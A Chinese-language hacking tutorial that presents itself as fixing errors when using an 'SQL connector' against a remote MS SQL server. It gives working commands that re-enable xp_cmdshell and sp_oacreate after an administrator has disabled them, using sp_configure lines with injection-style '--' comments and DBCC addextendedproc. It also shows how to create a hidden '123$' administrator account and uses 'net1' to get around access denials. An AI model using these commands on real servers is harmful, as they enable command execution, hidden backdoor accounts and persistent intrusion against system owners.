当我们在用SQL 连接器连接服务器的时候,执行命令的时候 ,会出现一些错误,那么我们就需要修复错误了。修复错误需要用到SQL查询分析器。修复了错误不一定就全部的错误都修好了,有时候还会有下一个错误的。
第一种错误(执行命令(dir c:\)时候出现下面错误)
修复Error Message:未能找到存储过程 'master..xp_cmdshell'。错误
把下面两个分别在SQL查询分析器执行 (可以按快捷键F5执行)
第一步先删除:
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
服务器: 消息 3701,级别 11,状态 5,行 1
第二步恢复:
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
直接恢复,不管sp_addextendedproc是不是存在
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
第二种错误(再用命令新建用户和提升用户权限的时候出现的错误:拒绝访问错误)命令 net user 123$ 123 /add 当执行这个命令时候会出现拒绝访问 这个时候可以在 net 的前面加上一个1 再执行 就这样 net1 user 123$ 123 /add
同理 再执行提升管理员权限的命令的net 的前面也要加上一个1 就是 net1 localgroup administrators 123$ /add
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
第三种错误(Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。)
在SQL查询分析器执行:
;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 --
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
第四种错误(Error Message:无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。)
用SQL连接器的文件管理功能找到这个文件xplog70.dll(试试按着这个路径去找c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll)
,找到后复制它的路径。把复制好的路径后粘贴到下面的第二部的路径。
然后利用SQL连接器的SQL命令的功能,分别把第一步的代码和第二步的代码复制粘贴在SQL命令运行。
第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll")
;EXEC sp_configure 'show advanced options', 0 --
----------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------